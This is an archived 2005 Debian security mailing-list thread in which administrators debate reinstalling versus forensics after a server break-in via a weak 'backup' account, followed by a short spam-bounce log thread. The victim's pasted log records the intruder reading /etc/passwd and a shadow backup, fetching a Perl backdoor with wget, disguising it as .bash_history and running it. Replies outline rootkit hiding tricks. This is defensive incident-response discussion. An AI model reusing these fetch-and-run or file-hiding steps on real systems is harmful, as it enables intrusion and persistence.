Re: Compromised system - still ok?

2005-02-06 Thread Sels, Roger
> On Sun, Feb 06, 2005 at 10:52:50PM -0800, Alvin Oga wrote:
>> it's best when you can call the fbi (on the phone) and say, they're
>> back,  trace um "NOW"
>
> Obviously you've never done this.  Good luck finding someone who even
> knows what TCP/IP is, let alone sufficient knowledge to be able to track a
> cracker in real time with no warning.
>
> - Matt
>

And a cracker not connected to their systems, that is.

Seriously, what are they to trace ? Where the IP is located ?
That's obviously something you can do yourself.
And then you'd still need to file a complaint to have someone get in touch
with the ISP/organization.
This takes time.

And what if your cracker used an unprotected WiFi network, public library
or university computer, ... ?

Regards,

Roger

-- 
Under capitalism, man exploits man.
Under communism, it's just the opposite.
J.K.Galbraith


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Compromised system - still ok?

2005-02-06 Thread Matthew Palmer
On Sun, Feb 06, 2005 at 10:52:50PM -0800, Alvin Oga wrote:
> it's best when you can call the fbi (on the phone) and say, they're
> back,  trace um "NOW"

Obviously you've never done this.  Good luck finding someone who even knows
what TCP/IP is, let alone sufficient knowledge to be able to track a cracker
in real time with no warning.

- Matt


signature.asc
Description: Digital signature


Re: Compromised system - still ok?

2005-02-06 Thread Alvin Oga

On Sun, 6 Feb 2005, Scott Edwards wrote:

> You'll want to evaluate the time and resources you'll consume, and to
> what end.  Even in high profile cases, you have to do even more work
> to collect the damages awarded.  It's like a triple whammy:
> 
> 1. Your box gets compromised
> 2. You sue them
> 3. And then collect damages

collecting is non trivial .. nor is the process of filing suits

however, if you got the fbi or local computer crime boyz involved, 
they can usually scare the pants off of the crackers, by showing
up on their doorstep and taking away all their toys ( pc, routers )
- works great across the usa, even if the cracked
box they came from was offshore, they can trace it
back to somebody's bedroom or colo

i think the fed's get involved if you can show that cracker
came from the fed's machines :-)  and/or if the damages exceeds
a particular amount, which seems very victim friendly,  which in 
the case of a "security" breach is fairly easy to reach in losses

and more than likely, they're already tracking that cracker

it's best when you can call the fbi (on the phone) and say, they're
back,  trace um "NOW"

c ya
alvin



-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Compromised system - still ok?

2005-02-06 Thread Scott Edwards
You'll want to evaluate the time and resources you'll consume, and to
what end.  Even in high profile cases, you have to do even more work
to collect the damages awarded.  It's like a triple whammy:

1. Your box gets compromised
2. You sue them
3. And then collect damages

You'll quickly loose a case if there is any demonstration of
negligence (that tail between your legs about the backup account -
yea, you know, but didn't act. that's enough negligence to blow the
case)

All my comments are my own.  Don't hesitate to seek professional counsel.

Thanks,


Scott Edwards
Daxal Communications - http://www.daxal.com/

> after small or big cracking, one always have to make time, and
> take more preventative measures vs spending time on forensics
> unless you wanna lock um up :-)
> 
> fun stuff
> 
> c ya
> alvin


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Compromised system - still ok?

2005-02-06 Thread Alvin Oga


On Mon, 7 Feb 2005, Bernd Eckenfels wrote:

> In article <[EMAIL PROTECTED]> you wrote:
> > you can reinstall AFTER you can answer all the above questions
> > or give up and give the point ot the script kiddie cracker
> 
> No, you make an image, reinstall, and if you  have time (ie. you normally
> dont) then you can start the forensics.

yes about making an image ... i assume you mean
- take the box down,
- i hate taking the box down, as you can lose
valuable info in its memory

- i'd "re-install" into a new disk and leave the cracked one alone
( disks are super cheap )
- i would not reinstall on the cracked disk
as it can have hidden filesystems

- for forensics.. use a good cd or build a custom disk
with with lot of fun forensics on it and fiddle till one finds 
all the answers :-0

after small or big cracking, one always have to make time, and
take more preventative measures vs spending time on forensics
unless you wanna lock um up :-) 

fun stuff

c ya
alvin


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Compromised system - still ok?

2005-02-06 Thread Bernd Eckenfels
In article <[EMAIL PROTECTED]> you wrote:
> you can reinstall AFTER you can answer all the above questions
> or give up and give the point ot the script kiddie cracker

No, you make an image, reinstall, and if you  have time (ie. you normally
dont) then you can start the forensics.

Gruss
Bernd


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Compromised system - still ok?

2005-02-06 Thread Sels, Roger
Some interesting points raised by Alvin.

On the other hand, run rkhunter after updating its lists & chkrootrit.
See what they have to say about your system, but also watch out for false
positives due to back-ported security patches (mostly for openssl, ssh,
..) in Debian.

(step 1)
If the machine is not critical, given the fact that you seem to have
noticed the compromise rather early on and that your firewall blocked
traffic to the telnetserver, you could invest some extra time in checking
md5sums of important files (again rkhunter & chkrootkit can help a bit
here ), close the security hole and reboot to your new kernel.
But before doing so, check your logfiles. Are you missing information for
some days from a while ago? Or missing complete logfiles/days?
Probably the attacker(s) had access to the box before - and long before
you noticed - so they concealed their traces, and then you should go to
step 2 without hesitation.
Watch for suspicious traffic going to and from the box for a while, then
forget about it.

(step 2)
If the machine is really important or serving important data, check the
integrity of the data, back it up and take no chances but reinstall the
box from scratch.

Good luck.

Roger


-- 
Under capitalism, man exploits man.
Under communism, it's just the opposite.
J.K.Galbraith


>
>
> On Mon, 7 Feb 2005, Geoff Crompton wrote:
>
>> >>You were rooted, you should reinstall.  It's not worth risking that he
>> >>left something that you didn't find.
>
> 
> "reinstalling" is the equivalent of a "script kiddie" and probably lower
> in skill level of the script kiddie
> 
>
> see below for reasons if one cares
>
>> > I see no evidence at all of being rooted, or even hints thereto. Yes,
>> > the backup account was compromized. It looks like there were quite
>> some
>> > security measures in place, try to look hard for any attempt to kernel
>> > exploit or otherwise local exploit, and think about what files this
>> > backup account had access to. Of course, importance of the system
>> > matters too, if you were the NSA or something, I'd definitely
>> reinstall,
>> > however, if you're not THAT paranoid, I think you can do with locking
>> > down backup account, checking all files writeable by backup (all files
>> > with recent ctime?), and places like /var/tmp, /tmp, etc.
>
> nsa and other 3-letter agencies will probably find out:
>   - where the cracker came from
>   - what else the cracker did on the suspect box
>   - what other machines the cracker tried to access inside the
>   network and what other files were changed on other servers
>   - how they got in and repoduce how they got in
>   - come to your door step and serve a warrant if
>   one broke into a "secret" machine
>   - are there automated jobs that run at fixed times or
>   whenver you do something
>
>   - how long have they been in the system before you noticed
>   and sometimes they are in there for weeks or months before
>   you start to notice because they started to use the cracked box
>
>   - is the backup clean or is it suspect too
>
>   - what files the cracker changed
>   - what files the cracker added
>   - .. on and on ..
>
> you can reinstall AFTER you can answer all the above questions
> or give up and give the point ot the script kiddie cracker
>
> resinstalling is bad because ..
>   - you donno how they got in and they can get back in
>   the same way again, and the 2nd time, they'd probably be
>   less friendly
>
>   - most crackers are not malicious and just wanna prove something
>   to themself or their buddies
>
>   - reinstalling and cleanup after a cracked box is very painful
>   and can take days weeks of cleanup whether you reinstall or not
>
>   - reinstallng does NOT clean up the other machines the
>   cracker could have used .. ( esp passwordless login systems
>   where they have free access to everything )
>
>   - reinstalling is bad because you didn't check your backups
>   before restoring, and for all you know, you can be restoring
>   their trojan that will wake up one day again in the future
>
>   - if you didn't change your normal computer usage after the
>   breakin, they will be back again
>
>   - thousands of "best practices" security rules and policies
>   to follow or not depending on ones paranoia or risk of something
>   might happen vs the obvious required time/steps needed to protect
>   against those possible crack attempts
>
>> Unless the evidence of being rooted was hidden. This can be done with
>> * replacing system binaries, so that, for instance, /bin/ls does not
>> list the root kit files, and that /bin/ps does not display the rootkit
>
> those are trivial to check and verify .. few minutes
>
> one keeps a copy of all files and directories on another media ( cdrom )
>   - anything that shows up different is new file since the
>   "md5sum was 

Re: Compromised system - still ok?

2005-02-06 Thread Alvin Oga


On Mon, 7 Feb 2005, Geoff Crompton wrote:

> >>You were rooted, you should reinstall.  It's not worth risking that he
> >>left something that you didn't find.


"reinstalling" is the equivalent of a "script kiddie" and probably lower
in skill level of the script kiddie


see below for reasons if one cares

> > I see no evidence at all of being rooted, or even hints thereto. Yes,
> > the backup account was compromized. It looks like there were quite some
> > security measures in place, try to look hard for any attempt to kernel
> > exploit or otherwise local exploit, and think about what files this
> > backup account had access to. Of course, importance of the system
> > matters too, if you were the NSA or something, I'd definitely reinstall,
> > however, if you're not THAT paranoid, I think you can do with locking
> > down backup account, checking all files writeable by backup (all files
> > with recent ctime?), and places like /var/tmp, /tmp, etc.

nsa and other 3-letter agencies will probably find out:
- where the cracker came from
- what else the cracker did on the suspect box
- what other machines the cracker tried to access inside the
network and what other files were changed on other servers
- how they got in and repoduce how they got in 
- come to your door step and serve a warrant if
one broke into a "secret" machine
- are there automated jobs that run at fixed times or
whenver you do something

- how long have they been in the system before you noticed
and sometimes they are in there for weeks or months before
you start to notice because they started to use the cracked box

- is the backup clean or is it suspect too

- what files the cracker changed 
- what files the cracker added
- .. on and on ..

you can reinstall AFTER you can answer all the above questions
or give up and give the point ot the script kiddie cracker

resinstalling is bad because ..
- you donno how they got in and they can get back in
the same way again, and the 2nd time, they'd probably be
less friendly

- most crackers are not malicious and just wanna prove something
to themself or their buddies

- reinstalling and cleanup after a cracked box is very painful
and can take days weeks of cleanup whether you reinstall or not

- reinstallng does NOT clean up the other machines the
cracker could have used .. ( esp passwordless login systems
where they have free access to everything )

- reinstalling is bad because you didn't check your backups
before restoring, and for all you know, you can be restoring
their trojan that will wake up one day again in the future

- if you didn't change your normal computer usage after the
breakin, they will be back again

- thousands of "best practices" security rules and policies
to follow or not depending on ones paranoia or risk of something
might happen vs the obvious required time/steps needed to protect
against those possible crack attempts

> Unless the evidence of being rooted was hidden. This can be done with
> * replacing system binaries, so that, for instance, /bin/ls does not 
> list the root kit files, and that /bin/ps does not display the rootkit

those are trivial to check and verify .. few minutes

one keeps a copy of all files and directories on another media ( cdrom )
- anything that shows up different is new file since the 
"md5sum was done" or its the cracker files

- if you upgrade daily .. you're sorta assuming a few
things, like you don't know or care that certain files changed
on certain days or hopefulling logging it  but how do you
know it was changed due to update vs cracker got in and also
got its files in your "these are my changes for today" checksums

> * replacing kernel (or modules) so that process information relating to 
> the root kit is hidden, and files are hidden

most rootkits leaves traces .. though it's getting better at hiding

> * hiding the root kit files in 'empty' spaces on the filesystem, (ie, 
> where no inodes are pointing to)
> * hiding the root kit files in the filesystem (amongs other files, a 
> little bit in each inode maybe?)

ideal places for those  is using the extra buytes of
/etc/hosts
/etc/resolv.conf
/etc/hosts.conf
/etc/passwd
( small files, where lots of unused bytes is available )

if they have hidden their stuff inside a secret filesystem of unused
disk space... you need professional 3-letter help ...
- reinstalling will not help you, as they probably outclass
your/our security policies

and a more likely scarier problem, is they installed a keyboard sniffer
( quietly sniffing all your passwds )
- do you login each time or do you login only 

Re: Compromised system - still ok?

2005-02-06 Thread Geoff Crompton
Jeroen van Wolffelaar wrote:
On Sun, Feb 06, 2005 at 12:40:55PM -0500, Michael Marsh wrote:
On Sun, 6 Feb 2005 17:48:32 +0100, DI Peter Burgstaller
<[EMAIL PROTECTED]> wrote:
I'm considering taking it back online with a 2.4.29-grsec-hi, what do
you guys think?
You were rooted, you should reinstall.  It's not worth risking that he
left something that you didn't find.

I see no evidence at all of being rooted, or even hints thereto. Yes,
the backup account was compromized. It looks like there were quite some
security measures in place, try to look hard for any attempt to kernel
exploit or otherwise local exploit, and think about what files this
backup account had access to. Of course, importance of the system
matters too, if you were the NSA or something, I'd definitely reinstall,
however, if you're not THAT paranoid, I think you can do with locking
down backup account, checking all files writeable by backup (all files
with recent ctime?), and places like /var/tmp, /tmp, etc.
--Jeroen
Unless the evidence of being rooted was hidden. This can be done with
* replacing system binaries, so that, for instance, /bin/ls does not 
list the root kit files, and that /bin/ps does not display the rootkit
* replacing kernel (or modules) so that process information relating to 
the root kit is hidden, and files are hidden
* hiding the root kit files in 'empty' spaces on the filesystem, (ie, 
where no inodes are pointing to)
* hiding the root kit files in the filesystem (amongs other files, a 
little bit in each inode maybe?)

So can you be really sure that there was no root kit that succesfully 
exploited your system? Have you rebooted off a trusted kernel, and 
cryptographically checked every single file involved in booting? (Such 
as the grub/lilo, kernel, all modules, init), and visually or 
cryptographically checked all the rc.* files and /etc/inittab?
Of course, doing all this might mean that you avoid booting the rootkit 
next time. But it could still be on the disk, waiting for when the 
attacker tries to return!

Yes, if the system is not important, you might not bother re-installing 
it. However in my (fairly recent experience), it was _easier_ to 
reinstall than it was to check all those things.

--
Geoff Crompton
Debian System Administrator
Strategic Data
+61 3 9340 9000
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]


Re: Compromised system - still ok?

2005-02-06 Thread martin f krafft
also sprach Jeroen van Wolffelaar <[EMAIL PROTECTED]> [2005.02.07.0022 +0100]:
> however, if you're not THAT paranoid, I think you can do with
> locking down backup account, checking all files writeable by
> backup (all files with recent ctime?), and places like /var/tmp,
> /tmp, etc.

Once an attacker is on the system, you cannot be sure anymore that
you can track his/her actions down. Sophisticated root kits exist to
cover all (!) traces.

You can put another box in front of the suspect one and check
whether any unexpected traffic flows. Use snort. Do that for an
extended period of time. If you see anything suspicious,
investigate, but don't hesitate.

I would simply reinstall.

-- 
Please do not send copies of list mail to me; I read the list!
 
 .''`. martin f. krafft <[EMAIL PROTECTED]>
: :'  :proud Debian developer, admin, user, and author
`. `'`
  `-  Debian - when you have better things to do than fixing a system
 
Invalid/expired PGP subkeys? Use subkeys.pgp.net as keyserver!


signature.asc
Description: Digital signature


Re: Compromised system - still ok?

2005-02-06 Thread Jeroen van Wolffelaar
On Sun, Feb 06, 2005 at 12:40:55PM -0500, Michael Marsh wrote:
> On Sun, 6 Feb 2005 17:48:32 +0100, DI Peter Burgstaller
> <[EMAIL PROTECTED]> wrote:
> > I'm considering taking it back online with a 2.4.29-grsec-hi, what do
> > you guys think?
> 
> You were rooted, you should reinstall.  It's not worth risking that he
> left something that you didn't find.

I see no evidence at all of being rooted, or even hints thereto. Yes,
the backup account was compromized. It looks like there were quite some
security measures in place, try to look hard for any attempt to kernel
exploit or otherwise local exploit, and think about what files this
backup account had access to. Of course, importance of the system
matters too, if you were the NSA or something, I'd definitely reinstall,
however, if you're not THAT paranoid, I think you can do with locking
down backup account, checking all files writeable by backup (all files
with recent ctime?), and places like /var/tmp, /tmp, etc.

--Jeroen

-- 
Jeroen van Wolffelaar
[EMAIL PROTECTED] (also for Jabber & MSN; ICQ: 33944357)
http://Jeroen.A-Eskwadraat.nl


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Compromised system - still ok?

2005-02-06 Thread Supaplex
Sounds like you need to read the cert.org article on how to respond to
system intrusions.  See
http://www.cert.org/security-improvement/modules/m06.html.

Good luck,


Scott Edwards
http://www.daxal.com


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Compromised system - still ok?

2005-02-06 Thread Michael Marsh
On Sun, 6 Feb 2005 17:48:32 +0100, DI Peter Burgstaller
<[EMAIL PROTECTED]> wrote:
> I'm considering taking it back online with a 2.4.29-grsec-hi, what do
> you guys think?

You were rooted, you should reinstall.  It's not worth risking that he
left something that you didn't find.

-- 
Michael A. Marsh
http://www.umiacs.umd.edu/~mmarsh


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Compromised system - still ok?

2005-02-06 Thread DI Peter Burgstaller
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Hi everybody,
guess it was my time - this time...
Ok .. about 4 hours ago the following happened on one of my machines:
1) Somebody tried from one host (213.215.220.14) a dictionary attack
2) He/She/It got in using the user backup (I know.. I know ..)
3) H/S/I downloaded 2 files from a geocities.com account
4) File 1 - no idea what it is or what it does - cannot find it
5) File 2 - a perl script that "claims" to be a telnet server
After taking the machine offline, I did the following:
a) locked user backup
b) removed password/interactive login from sshd (should have been done 
a long time ago)
c) killed the perl script running as user backup
d) find -user backup -mtime 1 > /tmp/file
e) nmap localhost for all ports
f) checked /tmp/file for "unknown files" - found /tmp/.bash_history
g) moved /tmp/.bash_history off the machine for analysis

Here is the snoopy log:
- 
Feb  6 10:33:26 mail2 sshd[15544]: Accepted password for backup from 
213.215.220.14 port 38842 ssh2
Feb  6 10:33:26 mail2 sshd[22307]: (pam_unix) session opened for user 
backup by (uid=0)
Feb  6 10:33:26 mail2 snoopy[25178]: [backup, uid:34 sid:25178]: -sh
Feb  6 10:33:26 mail2 snoopy[25087]: [backup, uid:34 sid:25178]: id -u
Feb  6 10:33:41 mail2 sshd[22307]: (pam_unix) session closed for user 
backup
Feb  6 10:57:26 mail2 sshd[1306]: Accepted keyboard-interactive/pam for 
backup from 66.40.38.102 port 45424 ssh2
Feb  6 10:57:26 mail2 sshd[4008]: (pam_unix) session opened for user 
backup by (uid=0)
Feb  6 10:57:26 mail2 snoopy[22447]: [backup, uid:34 sid:22447]: -sh
Feb  6 10:57:26 mail2 snoopy[10020]: [backup, uid:34 sid:22447]: id -u
Feb  6 10:57:30 mail2 snoopy[9165]: [backup, uid:34 sid:22447]: ls -all
Feb  6 10:57:35 mail2 snoopy[18242]: [backup, uid:34 sid:22447]: id
Feb  6 10:57:42 mail2 snoopy[27934]: [backup, uid:34 sid:22447]: uname 
- -a
Feb  6 10:57:47 mail2 snoopy[27769]: [backup, uid:34 sid:22447]: cat 
/etc/passwd
Feb  6 10:58:34 mail2 snoopy[19303]: [backup, uid:34 sid:22447]: 
/sbin/ifconfig
Feb  6 10:58:42 mail2 snoopy[31999]: [backup, uid:34 sid:22447]: cat 
/etc/hosts
Feb  6 10:59:06 mail2 snoopy[26230]: [backup, uid:34 sid:22447]: ls -all
Feb  6 10:59:09 mail2 snoopy[3092]: [backup, uid:34 sid:22447]: wget
Feb  6 10:59:26 mail2 snoopy[20851]: [backup, uid:34 sid:22447]: wget 
geocities.com/c0_pampers/jam5.p
Feb  6 10:59:36 mail2 snoopy[25767]: [backup, uid:34 sid:22447]: cat 
shadow.bak
Feb  6 10:59:41 mail2 snoopy[31313]: [backup, uid:34 sid:22447]: ls -all
Feb  6 10:59:51 mail2 snoopy[14269]: [backup, uid:34 sid:22447]: wget 
geocities.com/c0_pampers/jam5.p
Feb  6 11:00:00 mail2 snoopy[1647]: [backup, uid:34 sid:22447]: mv 
jam5.pl.txt .bash_history
Feb  6 11:00:06 mail2 snoopy[22380]: [backup, uid:34 sid:22447]: chmod 
755 .bash_history
Feb  6 11:00:10 mail2 snoopy[29495]: [backup, uid:34 sid:22447]: perl 
.bash_history
Feb  6 11:00:12 mail2 snoopy[29908]: [backup, uid:34 sid:22447]: ps -x
Feb  6 11:00:16 mail2 snoopy[4918]: [backup, uid:34 sid:22447]: ls -all
Feb  6 11:00:18 mail2 snoopy[12984]: [backup, uid:34 sid:22447]: w
Feb  6 11:01:20 mail2 sshd[4008]: (pam_unix) session closed for user 
backup
- 

The telnetserver doesn't seem to make any entires in wtmp hence no 
`last` or `w` entries on the machine.
However, snoopy still sees uses from the user :)

ASAI can say H/S/I hasn't been on my machine since. The firewall didn't 
permit access to the port (34567)
opened by the perl script and my firewall log says no access to that 
port before I tried it from localhost.

The machine runs a linux 2.4.27-grsec-hi woody testing
I'm considering taking it back online with a 2.4.29-grsec-hi, what do 
you guys think?

- - Many thanks, Peter
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.4 (Darwin)
iEYEARECAAYFAkIGSmMACgkQ7qdt1xpQls/FOwCfSDJbpUyuAMES5KYMQKQMVcCd
im0AoIhY+DeJghyPAGm2Fv4RAuWvycQV
=ctGL
-END PGP SIGNATURE-
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]


Re: repeated attempts delivering mail to 'unknown [EMAIL PROTECTED]'

2005-02-06 Thread lars brun nielsen
Thomas Hochstein wrote:
Feb  6 08:11:27 celery postfix/smtpd[11548]: reject: RCPT from shawidc-mo1.cg.shawcable.net[24.71.223.10]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
   

"<>", an empty Return-Path:/Envelope-Sender, so those are bounces /
non-delivery-notifications.
 

an explanation eludes me, [...]
   

Somebody is spamming while using adresses from your domain as the
faked sender of those spam-mails. That's quite old news for some
years; SPF was invented to avoid that. If you're lucky, you'll get
some hundred of those bounces and be done with; if your're unlucky,
you'll get some hundred *thousand* of them, or even more.
 

thanks - i see it now.
lars

--
expect neither good nor evil.
- deal with it

--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]


Re: repeated attempts delivering mail to 'unknown [EMAIL PROTECTED]'

2005-02-06 Thread Thomas Hochstein
lars brun nielsen schrieb:

> Feb  6 08:11:27 celery postfix/smtpd[11548]: reject: RCPT from 
> shawidc-mo1.cg.shawcable.net[24.71.223.10]: 550 <[EMAIL PROTECTED]>: User 
> unknown; from=<> to=<[EMAIL PROTECTED]>

"<>", an empty Return-Path:/Envelope-Sender, so those are bounces /
non-delivery-notifications.

> an explanation eludes me, [...]

Somebody is spamming while using adresses from your domain as the
faked sender of those spam-mails. That's quite old news for some
years; SPF was invented to avoid that. If you're lucky, you'll get
some hundred of those bounces and be done with; if your're unlucky,
you'll get some hundred *thousand* of them, or even more.

-thh


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: repeated attempts delivering mail to 'unknown [EMAIL PROTECTED]'

2005-02-06 Thread lars brun nielsen
Florian Weimer wrote:
in the last 3 days, one of our mx domains has been the target of the
following ( the real domainname replaced by DOMAIN.XX ) :
   

These are just regular spamming attempts.  Nothing to worry about.
 

it's the network connection part of it that baffles me. we're past the 
tcp handshaking when smtp is invoked, which means there's a valid
connection ( = src and dest exists ) - for me it implies that the 
spammer(bot) sends from multiple valid ips/networks, and with the 
ridiculous generated
account names, i fail to see the point from the spammers view ( nothing 
is ever accepted )

--
expect neither good nor evil.
- deal with it

--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]


Re: repeated attempts delivering mail to 'unknown [EMAIL PROTECTED]'

2005-02-06 Thread Florian Weimer
* lars brun nielsen:

> in the last 3 days, one of our mx domains has been the target of the
> following ( the real domainname replaced by DOMAIN.XX ) :

These are just regular spamming attempts.  Nothing to worry about.


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



repeated attempts delivering mail to 'unknown [EMAIL PROTECTED]'

2005-02-06 Thread lars brun nielsen





hi,

in the last 3 days, one of our mx domains has been the target of the following ( the real domainname replaced by DOMAIN.XX ) :

Feb  6 08:11:27 celery postfix/smtpd[11548]: reject: RCPT from shawidc-mo1.cg.shawcable.net[24.71.223.10]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:12:12 celery postfix/smtpd[11548]: reject: RCPT from shawidc-mo1.cg.shawcable.net[24.71.223.10]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:12:59 celery postfix/smtpd[11548]: reject: RCPT from shawidc-mo1.cg.shawcable.net[24.71.223.10]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:14:10 celery postfix/smtpd[11548]: reject: RCPT from newmx2.fast.net[209.92.1.32]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:15:33 celery postfix/smtpd[11548]: reject: RCPT from unknown[65.38.170.150]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:17:51 celery postfix/smtpd[11571]: reject: RCPT from ns1.webmediainc.net[66.234.10.181]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:18:37 celery postfix/smtpd[11571]: reject: RCPT from ns2.v-manager.co.uk[81.29.66.101]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:20:07 celery postfix/smtpd[11571]: reject: RCPT from gatekeeper2.bgu.ac.il[132.72.24.74]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:24:58 celery postfix/smtpd[11596]: reject: RCPT from cmail.seanet.com[199.181.164.19]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:31:35 celery postfix/smtpd[11596]: reject: RCPT from unknown[212.12.160.4]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:35:42 celery postfix/smtpd[11647]: reject: RCPT from aomail4.emirates.net.ae[195.229.241.85]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:36:06 celery postfix/smtpd[11647]: reject: RCPT from smtp2.pcspeed.com[63.231.199.4]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:40:22 celery postfix/smtpd[11681]: reject: RCPT from shawidc-mo1.cg.shawcable.net[24.71.223.10]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:42:45 celery postfix/smtpd[11693]: reject: RCPT from unknown[209.67.219.114]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:43:53 celery postfix/smtpd[11693]: reject: RCPT from shawidc-mo1.cg.shawcable.net[24.71.223.10]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:47:50 celery postfix/smtpd[11719]: reject: RCPT from cvxbsd.convex.com.br[200.152.177.10]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:52:15 celery postfix/smtpd[11732]: reject: RCPT from shawidc-mo1.cg.shawcable.net[24.71.223.10]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:52:25 celery postfix/smtpd[11732]: reject: RCPT from shawidc-mo1.cg.shawcable.net[24.71.223.10]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:58:10 celery postfix/smtpd[11751]: reject: RCPT from hrndva-mx-01.mgw.rr.com[24.28.204.20]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:58:15 celery postfix/smtpd[11751]: reject: RCPT from hrndva-mx-01.mgw.rr.com[24.28.204.20]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:58:21 celery postfix/smtpd[11751]: reject: RCPT from hrndva-mx-01.mgw.rr.com[24.28.204.20]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:58:26 celery postfix/smtpd[11751]: reject: RCPT from hrndva-mx-01.mgw.rr.com[24.28.204.20]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:58:30 celery postfix/smtpd[11767]: reject: RCPT from austtx-mx-04.mgw.rr.com[24.93.40.211]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:58:31 celery postfix/smtpd[11751]: reject: RCPT from hrndva-mx-01.mgw.rr.com[24.28.204.20]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:58:36 celery postfix/smtpd[11767]: reject: RCPT from austtx-mx-04.mgw.rr.com[24.93.40.211]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:58:37 celery postfix/smtpd[11751]: reject: RCPT from hrndva-mx-01.mgw.rr.com[24.28.204.20]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:58:42 celery postfix/smtpd[11767]: reject: RCPT from austtx-mx-04.mgw.rr.com[24.93.40.211]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:58:47 celery postfix/smtpd[11767]: reject: RCPT from austtx-mx-04.mgw.rr.com[24.93.40.211]: 550 <[EMAIL PROTECTED]>: User unknown; from=<> to=<[EMAIL PROTECTED]>
Feb  6 08:58:53 celery postfix/smtpd[11767]: reject: RCPT from austtx-mx-04.mgw.rr.